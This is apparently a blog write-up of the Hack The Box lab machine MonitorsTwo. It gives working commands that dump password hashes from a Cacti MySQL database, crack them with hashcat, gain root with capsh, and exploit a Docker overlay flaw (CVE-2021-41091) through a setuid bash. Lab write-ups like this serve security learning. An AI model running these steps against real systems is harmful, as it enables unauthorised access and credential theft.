Hack The Box | MonitorsTwo

MonitorsTwo is an easy rated from Hack The Box which has Cacti Version 1.2 vulnerable to Command injection leaking the mysql password from /entrypoint.sh from mysql got user marcus hash crack it using hashcat also exploit the capsh suid bit to get root at docker than ssh as marcus and found docker is running an old version and vulnerable to CVE-2021–41091.

NMAP

Nmap scan report for 10.10.11.211
Host is up (0.098s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Login to Cacti
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

WEB

Cacti Version 1.2 ( CVE-2022–46169)

MySQL

from entrypoint.sh got mysql user and password.

$ mysql --host=db --user=root --password=root cacti -e "show tables"

$ **mysql --host=db --user=root --password=root cacti -e "select username,password,email_address from user_auth"

username        password        email_address
admin   $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC    admin@monitorstwo.htb
guest   43e9a4ab75570f5b
marcus  $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C    marcus@monitorstwo.htb**

Privilege Escalation

capsh is vulnerable and found the exloit at gtfobins

Get hx101’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

$ capsh --gid=0 --uid=0 --

Crack hash using Hashcat

$ .\hashcat.exe -m 3200 .\hashes\mysql.txt .\rockyou.txt 
$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C:funkymonkey
marcus@monitorstwo.htb:funkymonkey

Docker 20.10.5 (CVE-2021–41091)

SSH as Marcus using password funkymonkey during enumeration found docker is vulnerable to CVE-2021–41091.

$ docker --version
Docker version 20.10.5+dfsg1, build 55c4c88

Moby Docker Engine PrivEsc | Exploit Notes

findmnt

from root shell at docker add suid bit on bash

chmod +s /bin/bash

From SSH

$ ls -la /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin |grep bash

$ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p